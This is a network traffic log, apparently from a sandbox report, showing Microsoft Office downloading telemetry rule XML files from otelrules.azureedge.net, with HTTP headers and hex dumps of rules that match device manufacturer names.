2024-12-06 17:45:31 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 76d3483c-401e-00a3-2bcc-458b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174531Z-1746fd949bdkw94lhC1EWRxuz400000004pg00000000n9da x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:33 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:34 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c29bf332-501e-00a0-0ccb-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174534Z-1746fd949bd7wvgbhC1EWR0rgs00000004hg00000000qpbd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:34 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:33 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:34 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 167d53f1-601e-0084-47cc-456b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174534Z-1746fd949bdjrnwqhC1EWRpg2800000004mg00000000bxby x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:34 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:34 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:34 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: e4103400-101e-008e-08d4-45cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174534Z-1746fd949bdhk6hphC1EWRaw3c000000049g00000000g2zw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:34 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:34 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:34 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: daea1f5e-401e-005b-68d1-459c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174534Z-1746fd949bdlnsqphC1EWRurw000000004g00000000009sz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:34 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:34 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:34 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:34 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 490c4061-c01e-000b-75c3-45e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174534Z-1746fd949bdwt8wrhC1EWRu6rg00000004pg00000000habs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:34 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.6	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:36 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:36 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:36 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 48f2d82f-b01e-0084-1302-48d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174536Z-r1cf579d778dc6d7hC1EWR2vs800000000k0000000003euw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 17:45:36 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:36 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:36 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 1d2bd980-d01e-008e-3d8d-46387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174536Z-1746fd949bddgsvjhC1EWRum2c00000004ug00000000cayk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:36 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:36 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ddae3c3f-c01e-008d-3acb-452eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174536Z-1746fd949bdkw94lhC1EWRxuz400000004q000000000gary x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:36 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:36 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:36 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 85a33a74-901e-005b-1ccd-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174536Z-1746fd949bdtlp5chC1EWRq1v400000004kg000000002nr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 17:45:36 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:36 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:36 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: e333ec31-201e-003f-1d06-486d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174536Z-r1cf579d778t5c2lhC1EWRce3w00000000kg0000000046nn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 17:45:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 17:45:38 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 17:45:38 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:38 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: c11f8514-901e-0048-1305-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T174538Z-r1cf579d778qlpkrhC1EWRpfc800000000t00000000019g7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 17:45:38 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR 